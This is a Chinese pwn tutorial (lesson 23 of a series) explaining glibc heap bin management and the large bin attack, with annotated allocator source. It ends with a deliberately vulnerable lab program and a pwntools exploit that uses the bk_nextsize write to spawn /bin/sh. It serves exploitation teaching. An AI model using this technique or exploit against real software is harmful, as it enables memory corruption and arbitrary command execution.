【Pwn-PWN入门-23-LargeBin托梦】此文章归类为:Pwn。
众所周知,程序申请堆内存一般可以分成两步,首先是通过GLibC封装的malloc等接口函数向GLibC提出堆内存的申请,最后GLibC会通过brk等系统调用向实际的物理资源管理者内核申请内存。
拿到的内存会落入top chunk中,然后GLibC再从top chunk中切割chunk给程序使用,至于程序释放chunk时,chunk会有两个出路,它们分别是进入空闲chunk的管理链表和重新合并进入top chunk。
是否与top chunk合并,取决于被释放的chunk是否与top chunk相邻。
你不想将堆内存交给GLibC管理也不是不行,GLibC针对接口函数在内存申请其实也是依赖brk与mmap等系统调用实现的,你可以直接通过系统调用去获取堆内存,避免堆内存落在GLibC的手中。
1 2 3 4 5 6 7 | struct malloc_chumalloc_statenk { ...... mfastbinptr fastbinsY[NFASTBINS]; ...... mchunkptr bins[NBINS * 2 - 2]; ......} |
GLibC对于释放时不合入top chunk的chunk,会将它存入对应的链表中,进入链表需要分成两个阶段,在不考虑tcache机制的影响下,第一阶段GLibC会根据chunk的大小选择进入fastbinsY或unsorted bin。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | _int_free -> if ((size) <= get_max_fast()) -> atomic_store_relaxed (&av->have_fastchunks, true); -> unsigned int idx = fastbin_index(size); -> fb = &fastbin (av, idx); -> p->fd = PROTECT_PTR (&p->fd, old); -> *fb = p; -> else if (!chunk_is_mmapped(p)) -> _int_free_merge_chunk -> _int_free_create_chunk -> if (nextchunk != av->top) -> mchunkptr bck = unsorted_chunks (av); -> mchunkptr fwd = bck->fd; -> p->fd = fwd; -> p->bk = bck; -> bck->fd = p; -> fwd->bk = p; |
第二阶段指的是chunk的迁移,迁移一般发生在_int_malloc中,即程序向GLibC申请堆内存的时候。
对于fast bin来讲,它只会在链表不为空且可用chunk空间紧张的时候,才会通过函数malloc_consolidate合并fast bin中的空闲chunk。
空闲chunk紧张的时机有两个,一是程序向GLibC提出属于large chunk的堆内存大小申请,二是top chunk空间不够,这时候GLibC都会检查have_fastchunks标志位,看是否有可以合并的fast chunk存在。
另一种迁移发生在函数_int_malloc通过遍历unsorted bin链表查找chunk的时候,当unsorted bin链表无法提供与申请要求匹配的chunk时,_int_malloc会将chunk从unsorted bin中取出,然后存入small bin或large bin中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | _int_malloc -> if (in_smallbin_range (nb)) -> else -> if (atomic_load_relaxed (&av->have_fastchunks)) -> malloc_consolidate (av); -> while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) -> if (in_smallbin_range (size)) -> bck = bin_at (av, victim_index); -> fwd = bck->fd; -> else -> bck = bin_at (av, victim_index); -> fwd = bck->fd; -> xx->fd_nextsize = xxx -> xx->bk_nextsize = xxx -> victim->bk = bck; -> victim->fd = fwd; -> fwd->bk = victim; -> bck->fd = victim; -> use_top: -> if ((size) >= (nb + MINSIZE)) -> else if (atomic_load_relaxed (&av->have_fastchunks)) -> malloc_consolidate (av); |
从上面可以看出,unsorted bin、small bin以及large bin三大链表的主要区别还是十分明显的。
unsorted bin是small chunk和large chunk在释放时的第一去处,只有当链表unsorted bin中chunk不能满足申请者的要求时,_int_malloc函数才会将空闲的chunk迁入small bin或large bin中。
1 | #define unsorted_chunks(M) (bin_at (M, 1)) |
而unsorted bin、small bin以及large bin虽然使用共同使用bins数组,但是它们在使用区域上却有着严格的划分。
其中unsorted bin链表固定占用bin_at(M, 1)的位置。
1 2 3 4 5 6 7 8 9 | #define NSMALLBINS 64#define SMALLBIN_WIDTH MALLOC_ALIGNMENT#define MIN_LARGE_SIZE (NSMALLBINS * SMALLBIN_WIDTH)#define in_smallbin_range(sz) \ ((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)#define smallbin_index(sz) (((unsigned) (sz)) >> 4)#define largebin_index(sz) largebin_index_64 |
你应该知道small chunk和large chunk之间的界限是由MIN_LARGE_SIZE的大小进行划分的,GLibC在bins数组使用区域上的划分上依旧延续了这个套路。
bin_at(M, 2)到bin_at(M, 63)的区域是给small bin使用的,剩余的区域是留给large bin使用的。
large bin与small bin和unsorted bin还有一些差别。
unsorted bin中存储chunk的大小并不固定,small chunk和large chunk都是可能的,而bin_at(M, 2)到bin_at(M, 63)所对应的small bin链表,同一链表中存储的chunk大小都是固定的,只有small bin链表不同时,链表中所存储的chunk大小才会有差异。
1 2 3 4 5 6 7 | #define largebin_index_64(sz) \ (((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\ ((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\ ((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\ ((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\ ((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\ 126) |
至于bin_at(M, 64)开始对应的large bin链表,如果仔细largebin_index宏就会发现,该宏会将某个大小范围内的chunk归类到bin_at(M, x)中,所以呢,单个链表large bin中所存放的chunk大小并不一定是相同的。
这也是malloc_chunk结构体中fd_nextsize和bk_nextsize两个字段存在的原因,这两个字段专门帮助large bin链表链接同链表中不同大小的chunk。
一旦你对操作系统和GLibC的机制不熟悉,误认为通过free接口释放后,再读写被释放的内存就会出现SIGEGV(无效的内存访问)崩溃,那就大错特错了。
归还到GLibC手中的堆内存,GLibC并不会立即向内核提出抛弃内存的请求,所以这些内存仍然位于程序的内存布局中,对于程序来讲,释放堆内存后将对应的缓冲区变量设置成空指针才是正道。
针对UAF产生的攻击,最为常见的就是信息泄露了,由于GLibC对malloc_chunk结构体中fdxx和bkxx在使用阶段和释放阶段的功能划分,导致了这些字段会在释放时写入新的内存地址数据。
假如程序并没有将缓冲区变量设置成空指针,那么fdxx和bkxx在使用阶段位于数据区的特性,就会导致内存地址数据被泄露。
原来的数据区释放后摇身一变就成了可以影响chunk的功能区,一旦程序仍在操作缓冲区变量时,就相当于改写了GLibC管理空闲chunk的规则,那么造成的安全隐患当然不会止于信息泄露这一条了。
除了信息泄露之外,再比较常见的攻击方式就是任意地址读写了。
这种任意地址地址读写的漏洞,该问题也是因为fdxx和bkxx四个在使用期和释放期中作用不明确的字段导致的。
当我们手握一个已释放chunk的读写权限,那么完成fd位置上内存地址的泄露当然不成问题,但想要完成任意地址读写环境的创建,还需要依赖GLibC的链表管理规则。
在GLibC的空闲chunk链表的规则中,最少会用一个fd字段链接其余的chunk,最多就如同large bin一样,会用完fdxx和bkxx四个字段。
在GLibC的概念中,fdxx和bkxx用于链接其他的chunk,程序发出堆内存的申请之后,GLibC会考虑从链表中取出chunk返回给程序使用,漏洞在这个时候会显现出来,当chunk被取出之后,GLibC有个很重要的任务就是更新链表。
更新链表的依据就是malloc_chunk中的fdxx和bkxx四个字段,它会将根据字段上存放的地址A更新链表。当程序再次申请堆内存时,申请到的chunk就是地址A所对应的内存区域了。
根据链表的特性和可以修改已释放chunk的异常现象,我们可以控制fdxx和bkxx四个字段,让它们指向特定的内存区域,当GLibC根据fdxx或bkxx取出新地址并读写时,就完成了向我们指定的任意内存区域进行读写数据的操作。
对于GLibC来讲,就像是头上带了绿帽,孩子(被篡改的chunk)已经不是自己的了,还蒙在鼓中,尽心尽力的为了这个孩子提供服务,等孩子长大了(被移出链表)才发现,原来这个孩子是跟自己没有关系的。
并且这个孩子还可能会被刺自己,协助黑客破坏系统。
从上面可以看到修改fdxx和bkxx指向任意的地址,使得取出的chunk指向特定的内存区域,然后再在该区域进行读写,就是任意地址读写形成的原因。
GLibC针对malloc_chunk中fdxx和bkxx四个字段的策略,为我们带来的任意地址读写的可能,这种可能性需要依赖UAF,毕竟要是程序员知道free接口的内存释放只是伪释放,那就一定会将变量设置成空指针,进而丧失对已释放chunk的操控能力。
GLibC早就注意到了任意地址读写的问题,这一问题产生源自于GLibC早前永远默认结构体malloc_chunk上fdxx和bkxx中保存的数值都是正确的。
所以现在GLibC不再保持这种默认正确的规则,它会在使用前对这些数据进行检查,只要发现数据有异常就会通过malloc_printerr抛出错误。
比较典型的就是unlink_chunk函数中的检查,该函数会根据当前释放chunk的内存地址p的fd前一个入链chunk,以及bk获取后一个入链chunk。
按照GLibC的规则,p->fd的后一个入链chunk和p->bk的前一个入链chunk都应该指向新释放chunk的内存地址p,如果不是就说明p上的数据是有问题的。
这种依赖相邻chunk的检查,在一定程度上确保了安全性,但如果你连相邻chunk都能伪造或控制,那就不好说了。
1 2 3 4 5 | unlink_chunk -> mchunkptr fd = p->fd; -> mchunkptr bk = p->bk; -> if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) -> malloc_printerr ("corrupted double-linked list"); |
这种任意地址读写的情况当然不止unlink_chunk这一处,只要fdxx和bkxx可以被恶意控制的操作都是符合要求的。
比如程序通过_int_malloc申请chunk的时候,会尝试遍历unsorted bin链表,当_int_malloc发现申请内存的大小不属于small chunk,且最近没有被切割的chunk的时候,就会将unsorted bin链表中的bk保存的最早入链chunk的再晚一个入链的chunk取出,因为该victim->bk之后要么与申请大小相等直接返回给使用,要么就是移入small bin或large bin中,反正就是不在unsorted bin里面了。
1 2 3 4 5 6 7 8 9 | _int_malloc -> for (;;) -> while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) -> bck = victim->bk; -> if (in_smallbin_range (nb) && bck == unsorted_chunks (av) && victim == av->last_remainder && (unsigned long) (size) > (unsigned long) (nb + MINSIZE)) -> ...... -> return p; -> unsorted_chunks (av)->bk = bck; -> bck->fd = unsorted_chunks (av); |
在这个时候victim肯定是处于空闲状态的,假如这个时候victim还是可以被程序写入数据的,那么bck = victim->bk中的bck被赋值后,bck就会指向我们可以控制的内存区域。
后面将victim移除链表,并将bck更新成unsorted bin的bk链表的头成员时,就代表GLibC将我们设置的恶意地址看作成了新的chunk。
后面取出chunk时,取出的就是恶意地址对应的内存区域,程序拿到恶意地址后,就可以对该区域进行读写。
只不过可惜,现在已经是公元2025年了,GLibC早就针对这块进行了加固,加固的方案比较简单,仍然是根据chunk相连的特性进行检查。
在正常情况下bck上fd保存的是victim,但如果bck是被篡改过的,那么它的fd上保存的就很难是victim,所以当bck->fd != victim时就会抛出错误。
1 2 3 4 5 6 | _int_malloc -> for (;;) -> while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) -> bck = victim->bk; -> if (__glibc_unlikely (bck->fd != victim) || __glibc_unlikely (victim->fd != unsorted_chunks (av))) -> malloc_printerr ("malloc(): unsorted double linked list corrupted"); |
针对large bin进行的攻击与上方介绍的任意地址读写颇有相似之处。
在GLibC对堆的管理概念中,程序申请的chunk不能通过unsorted bin链表匹配时,会将原来bk链表上的头成员victim取出,并将victim->bk更新为bk链表的头成员,被移出unsorted bin链表的victim,如果不能和申请大小nb完全匹配,那么victim进入small bin或large bin链表中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | _int_malloc -> for (;;) -> while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) -> bck = victim->bk; -> size = chunksize (victim); -> ...... -> unsorted_chunks (av)->bk = bck; -> bck->fd = unsorted_chunks (av); -> if (size == nb) -> ...... -> return p; -> if (in_smallbin_range (size)) -> ...... -> else -> ...... |
进入small bin链表时的操作相对简单,可以自行阅读源代码,但当victim进入链表large bin中时,操作就会变得复杂起来。
变得复杂是因为large bin链表可以存储不同大小chunk的特殊性导致的。
当victim的大小小于large bin链表最早入链的bck->bk时,GLibC会选择直接将victim插入large bin链表,作为最晚入链的chunk存在。
但当victim的大小大于等于large bin链表中原最早入链chunk时,处理操作就会变得复杂起来,主要原因是_int_malloc函数需要遍历large bin链表,找到一个比victim更小的chunk。
从while循环语句中可以看到,fwd不断的根据fd_nextsize去更新,而循环中止的判断条件只是fwd小于等于victim的size时才会停止,那么GLibC就不怕找不到合适的chunk,导致这个循环一直进行产生死循环吗?
当然不用考虑!因为if ((size) < chunksize_nomask (bck->bk))已经告诉我们一个事情,那就是victim比large bin链表中最小的chunk要大,所以在遍历字段fd_nextsize的过程中至少也会找到一个chunk小于victim。
当根据fd_nextsize遍历large bin链表找到的fwd大小刚好等于victim的时候,GLibC会直接让fwd等于fwd->fd,fwd->fd相当于找到比fwd更晚入链的chunk,这么做是因为GLibC会固定将victim插入第二的位置。
直接往fwd的前面插入不行吗,为什么是fwd维护的fd链表中第二的位置呢?
GLibC主要是为了避免给victim更新xx_nextsize,这是因为相同大小的chunk所在的链表中,只有头成员的xx_nextsize是起作用的。
如果fwd小于victim,由于前面也没有找到和victim相等chunk,所以可以知道victim对应的大小在链表中还是唯一的,所以接下来GLibC会更新fwd和victim的xx_nextsize。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | if (in_smallbin_range (size)) -> ......else -> victim_index = largebin_index (size); -> bck = bin_at (av, victim_index); -> fwd = bck->fd; -> if (fwd != bck) -> if ((size) < chunksize_nomask (bck->bk)) -> fwd = bck; -> bck = bck->bk; -> xxx->xx_nextsize = xxxx -> else -> while (size < chunksize_nomask (fwd)) -> fwd = fwd->fd_nextsize; -> if (size == chunksize_nomask (fwd)) -> fwd = fwd->fd; -> else -> victim->fd_nextsize = fwd; -> victim->bk_nextsize = fwd->bk_nextsize; -> fwd->bk_nextsize = victim; -> victim->bk_nextsize->fd_nextsize = victim; -> bck = fwd->bk; -> else -> victim->fd_nextsize = victim->bk_nextsize = victim; -> victim->bk = bck; -> victim->fd = fwd; -> fwd->bk = victim; -> bck->fd = victim; |
从上面可以看到,当程序还握有已释放fwd的内存地址且可以修改它时,一共会产生三处风险代码,而这些风险代码就是与fwd->xx相关的赋值语句。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | set fwd->fd = evil_address_1set fwd->bk_nextsize = evil_address_2set fwd->bk = evil_address_3fwd = fwd->fd; -> fwd = *(fwd + offset(fd)) = evil_address_1fwd->bk = victim; -> *(evil_address_1 + offset(bk)) = victimvictim->bk_nextsize = fwd->bk_nextsize;victim->bk_nextsize->fd_nextsize = victim; -> *(evil_address_2 + offset(fd_nextsize)) = victimbck = fwd->bk;bck->fd = victim; -> *(evil_address_3 + offset(fd)) = victim |
上面风险代码诞生于unsorted bin中的large chunk移动到large bin链表的时候,当我们篡改fwd上malloc_chunk结构体占用字段的数值为恶意地址时,会导致GLibC向恶意地址上写入victim的地址。
这个恶意地址当然是可以随意指定的,只要这片内存区域是可读可写的就可以,只不过与任意地址申请为chunk的场景有所不同,这里只能写入特定的内容。
前面提到过large bin链表和unsorted bin链表与其他链表有一个显著的区别,那就是large bin和unsorted bin允许链表中存放大小不相同的chunk。
unsorted bin是small chunk和large chunk被释放时的第一去处,该链表并不会对chunk按照大小进行排序。
那么large bin也是这样的吗?
当然不是,large bin会将入链的chunk按照大小进行排序。
large chunk从unsorted bin链表移动到large bin链表的时机,其实就发生在函数_int_malloc的内部,当函数遍历unsroted bin链表,发现chunk不能匹配申请者要求的时候,就会将chunk移入small bin或large bin中。
下面列出了large chunk进入large bin链表时的全部分支,从分支的判断条件上,我们可以窥探出GLibC是如何排列large bin中的chunk的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | victim_index = largebin_index (size);bck = bin_at (av, victim_index);fwd = bck->fd;if (fwd != bck) { if ((size) < chunksize_nomask (bck->bk)) { fwd = bck; } else { while (size < chunksize_nomask (fwd)) { fwd = fwd->fd_nextsize; } if (size == chunksize_nomask (fwd)) { ...... } else { ..... } } bck = fwd->bk;}else { victim->fd_nextsize = victim->bk_nextsize = victim;}victim->bk = bck;victim->fd = fwd;fwd->bk = victim;bck->fd = victim; |
最先面临的判断是fwd != bck,因为fd和bk两个字段所维护的都是循环链表,所以GLibC用了一个特殊的数据作为链表头,即&bins[i] - offset(fd),这个特殊的数据可以保证xx->fd和xx->bk分别指向fd的链表头成员bins[i]和bk的链表头成员bins[i + 1],所以当fwd == bck时,就说明链表是空的。
large bin链表为空时,直接将chunk插入就可以,但当链表不为空时,GLibC会检查bck->bk指向的链表头chunk是否大于待移入victim,如果是,那就更新fwd为bck,此时的bck等于&bins[i] - offset(fd),后面插入victim时,会通过fwd->bk将victim插入bk链表头的位置。
从这里可以看出,fd链表和bk链表已经不止根据chunk入链时间维护链表了,还会根据chunk的大小进行维护,并且bk链表头上保存的永远都是链表中的最小chunk。
如果victim的大小比bk链表头成员要大,那就好遍历fd_nextsize字段,在链表中找到小于等于victim的chunk,然后完成插入。
至于bins数组中fd字段所在的位置,它与bk位置保存最小chunk的属性有所不同,该字段会保存链表中最大的chunk。
从if (size == chunksize_nomask(fwd))对应的else分支可以知道,找到一个小于待插入的victim时就会进入else分支,如果victim是链表中最大的一个,那么bck = fwd->bk语句运行完后,bck就等于&bins[i] - offset(fd),从而使得最后插入时bck->fd的值等于bins[i],使得fd所在的位置被插入整个链表中最大的chunk。
向任意地址写入特定chunk地址的攻击,依赖于fd、bk、bk_nextsize三个属于结构体malloc_chunk的字段,将它们篡改后,_int_malloc函数的流程内部,就可能将它们改写。
不管是修改哪一个字段,都要求黑客迫使_int_malloc函数的执行流程进入chunk从链表unsorted bin中迁移到large bin链表的分支中。
当unsorted bin中无法与申请大小匹配的victim的超过large bin链表中的空闲chunk时,就会开启基于bk和bk_nextsize的利用,而当大小是相等时,则会轮到fd字段发挥可利用的作用。
在任意地址写入特定数据的攻击方式是一种较为古老的攻击方式,既然是古老的,那就代表它已经被GLibC修复掉了。
下面是GLibC的修复手法,依旧是我们非常熟悉的根据相邻chunk确认数据有效性。
1 2 3 4 | if (fwd->bk_nextsize->fd_nextsize != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");if (bck->fd != fwd) malloc_printerr ("malloc(): largebin double linked list corrupted (bk)"); |
上面介绍的向任意地址写入特定数据的漏洞,其实是忽略了GLibC的部分的代码的,只注意关注了else的部分,而忽略了if分支下的代码。
那么if分支下的代码是不是极其稳固呢?
答案是否定的。
在下方代码中可以看到,fwd->fd对应large bin链表中的最晚入链chunk,另一个fwd->fd->bk_nextsize则对应最晚入链chunk的bk_nextsize字段。
当程序可以控制large bin链表中最晚入链chunk的bk_nextsize字段时,赋值语句victim->bk_nextsize就会指向我们所设置的恶意地址。
当victim->bk_nextsize->fd_nextsize = victim语句运行完后,恶意地址所指向内存区域偏移offset(fd_nextsize)的地址就会被写上victim存储的数据。
1 2 3 4 5 6 7 8 9 10 11 | bck = bin_at (av, victim_index);if ((size) < chunksize_nomask (bck->bk)){ fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;}else { ...... } |
至于怎么样才能进入if所在的分支,那就需要做到以下几点。
首先unsorted bin链表中必须存在一个large chunk,且这个large chunk需要比large bin链表中的最早入链chunk小,其次就是程序发出的堆内存申请的大小不能和unsorted bin链表中large chunk相等。
做到上面的两点,就可以顺利的进入if分支了。
那么问题就又来了,类似的问题之前并非没有先例,作为业界顶级项目GLibC的维护者,难道他们就没有注意到这个问题吗?
是难以加固代码,还是根本就没有察觉呢?
fwd->fd->bk_nextsize指向比fwd->fd更小的chunk,而fd_nextsize则会指向比它更大的chunk,按照道理来讲,fwd->fd->bk_nextsize->fd_nextsize会重新指向fwd->fd,只要检查这个结果是否成立,就可以验证数据的正确性了。
但是GLibC为什么不进行检查呢?
而且GLibC中也不是没有这样的检查啊!
1 2 3 | victim->bk_nextsize = fwd->bk_nextsize;if ((fwd->bk_nextsize->fd_nextsize != fwd)) malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)"); |
负责维护链表的fd_xxxx和bk_xxxx的字段被篡改后,按照道理来讲,是可以影响程序申请chunk的流程的,但是事情真的能那么顺利吗?
程序想要从large bin中获取chunk,只有一个要求,那就是unsorted bin链表不能提供给申请者提供chunk,在结束unsorted bin链表的遍历之后,只要GLibC通过in_smallbin_range宏判断出申请大小不属于small chunk的范围,就会把它视为针对large chunk的申请。
此时会正式开始从large bin链表中获取large chunk。
能不能从large bin链表中取出chunk,可不是申请大小符合large chunk的范围就可以了,GLibC有两点要求,一是large bin链表不为空,二是根据first取出链表中最大的victim跟申请大小nb进行判断,如果申请大小小于victim,才会从large bin链表中取出chunk,否则的话,也找不到能匹配的chunk。
1 2 3 4 5 6 7 8 9 | _int_malloc{ for (;;) { while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { ...... } if (!in_smallbin_range (nb)) { if ((victim = first (bin)) != bin && chunksize_nomask (victim) >= (nb)) { ...... } } }} |
在可以从large bin链表申请large chunk的时候,GLibC会获取当前链表中最小的chunk,如果该chunk大于申请大小就会拿来使用,否则则会继续按照从小到大的顺序遍历链表,直到找到大于申请大小nb的chunk。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | if ((victim = first (bin)) != bin && chunksize_nomask (victim) >= (nb)) { victim = victim->bk_nextsize; while (((size = chunksize (victim)) < (nb))) victim = victim->bk_nextsize; if (victim != last (bin) && chunksize_nomask (victim) == chunksize_nomask (victim->fd)) victim = victim->fd; remainder_size = size - nb; unlink_chunk (av, victim); if (remainder_size < MINSIZE) { ...... } else { ...... } void *p = chunk2mem (victim); return p;} |
找到chunk后,会先通过last宏判断victim是不是链表中最小的chunk,如果不是且victim的大小等于victim->fd的大小,那就会把victim->fd取出使用。
要记得前面插入时,也是将chunk插入第二的位置,这里是与之匹配的取出操作。
接下来,GLibC会通过unlink_chunk接口将victim移出链表。
最后GlibC会计算victim大小和申请大小的差值remainder_size,当发现差值小于chunk的最小要求值时,会将整个chunk返回给用户使用,反之则会先对chunk进行分割,然后将分割出来的部分返回,剩余的部分会插入unsorted bin链表中。
修改已释放large chunk的bk_nextsize字段为恶意地址后,有几率填写恶意地址偏移offset(fd_nextsize)处的数值为chunk的地址当然是一种漏洞,但当GLibC进入函数_int_malloc的申请chunk流程时,则又会爆发任意地址申请的漏洞。
想要让任意地址申请顺利的通过,首先要避免victim获取到恶意地址后,GLibC检查当前chunk的mchunk_size比申请大小还要的情况,这里需要我们修改恶意地址所在内存区域偏移offset(mchunk_size)上的数值。
1 2 3 | victim = victim->bk_nextsize;while (((size = chunksize (victim)) < (nb))) victim = victim->bk_nextsize; |
上面的循环绕过还算比较方便,但是接下来unlink_chunk函数的绕过可就困难了,因为不仅需要给伪造的chunk构造数据,还需要给伪造chunk的fdxx和bkxx字段所链接的chunk构造数据,才能顺利的通过unlink_chunk函数的检查。
至于绕过unlink_chunk函数检查的详情,在OffByOne那节中已经有过详细的介绍,这里就不再进行过多的介绍了。
上面介绍了针对unsroted bin链表和large bin链表所产生的的攻击方式,虽然unsroted bin攻击已经被加固措施干掉了,但好在large bin攻击依然存在。
large bin攻击得以发生的原因,是因为victim->bk_nextsize会被写入当前链表中最大的fwd->fd成员的偏移offset(bk_nextsize)处保存的数值,当这个数值被篡改后,后面的victim->bk_nextsize->fd_nextsize = victim语句会将向恶意地址所在内存区域偏移offset(fd_nextsize)的地方写入victim的值。
large bin攻击得以存在的原因,是因为被插入的victim属于large bin链表中最小的chunk时,缺少针对fwd->fd->bk_nextsize的检查。
1 2 3 4 5 6 7 8 | if ((size) < chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;} |
bins数组存储的三大了链表只剩下了small bin链表,那么small bin链表存在被攻击的可能性吗?
当然也是可以的,不过针对small bin产生的攻击需要留到下回在进行解析。
下面直接给出了程序的源代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | #include <stdio.h>#include <stdlib.h>#include <errno.h>#include <unistd.h>#include <string.h>typedef struct _test { unsigned long data1; unsigned long data2; char msg[0x8]; unsigned long data3;} test;static void vuln(void){ size_t* p1, *g1, *p2, *g2, *tmp1, *tmp2; test* vuln_var; vuln_var = (test*)malloc(sizeof(test)); vuln_var->data1 = 1; vuln_var->data2 = 10; strncpy(vuln_var->msg, "ls\0", 0x8); vuln_var->data3 = 30; printf("var at %p\n", &vuln_var); p1 = (size_t*)malloc(0x440); g1 = (size_t*)malloc(0x20); p2 = (size_t*)malloc(0x430); g2 = (size_t*)malloc(0x20); free(p1); // p1 enter large bin tmp1 = malloc(0x450); // p2 enter unsorted bin free(p2); read(STDIN_FILENO, &(((test*)p1)->data3), 0x8); // large bin attack, vuln_var set to p2 tmp2 = malloc(0x450); // write p2 same as write vuln_var read(STDIN_FILENO, p2, 0x30); system(vuln_var->msg);}int main(void){ setvbuf(stdin,NULL,_IONBF,0); setvbuf(stdout,NULL,_IONBF,0); setvbuf(stderr,NULL,_IONBF,0); vuln(); return 0;} |
从源代码可以看到漏洞发生在函数vuln中,vuln主动帮我们构造了一个large bin攻击的场景,在这里我们通过改写指针p1上偏移offset(bk_nextsize)的位置,让其指向变量vuln_addr,tmp2完成申请后,vuln_addr会变到指针p2 - offset(fd)的位置上,此时就实现了向任意地址写入特定地址的操作。
由于vuln函数最后会调用system,在原本的流程中,system会调用msg上填充的ls,且msg上的数据也不会被改写,但有了large bin的漏洞,和read接口写p2指针的操作,就让改写vuln_addr->msg成了可能。
通过上面的分析构造出下面的exploit。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | import pwnimport syssys.path.append('../../MyTools')import conversionpwn.context.clear()pwn.context.update( arch = 'amd64', os = 'linux',)target_info = { 'exec_path': './large_bin_attack_example', 'addr_len': 0x8, 'bk_nextsize_offset_num': 0x4, 'vuln_var_addr': 0x0,}target_info['exec_info'] = pwn.ELF(target_info['exec_path'])conn = pwn.process(target_info['exec_path'])leak_data = conn.recvuntil(b'\n')target_info['vuln_var_addr'] = conversion.str2int(leak_data[7:-1])print('[++] receive: vuln_var address = {0}'.format(hex(target_info['vuln_var_addr'])))fake_chunk_addr = target_info['vuln_var_addr'] - target_info['bk_nextsize_offset_num'] * target_info['addr_len']payload = pwn.p64(fake_chunk_addr)conn.send(payload)payload = b'/bin/sh\0'conn.send(payload)conn.interactive() |
运行exploit成功获得Shell。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | python3 ./exploit.py [*] './large_bin_attack_example' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled[+] Starting local process './large_bin_attack_example': pid 39921[**] strings: b'0x7ffdc53d4458'[**] hex: 0x7ffdc53d4458[++] receive: vuln_var address = 0x7ffdc53d4458[*] Switching to interactive mode$ iduid=1000(lab) gid=1000(lab) groups=1000(lab),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users)$ exit[*] Got EOF while reading in interactive$ [*] Process './large_bin_attack_example' stopped with exit code 0 (pid 39921)[*] Got EOF while sending in interactive |
更多【Pwn-PWN入门-23-LargeBin托梦】相关视频教程:www.yxfzedu.com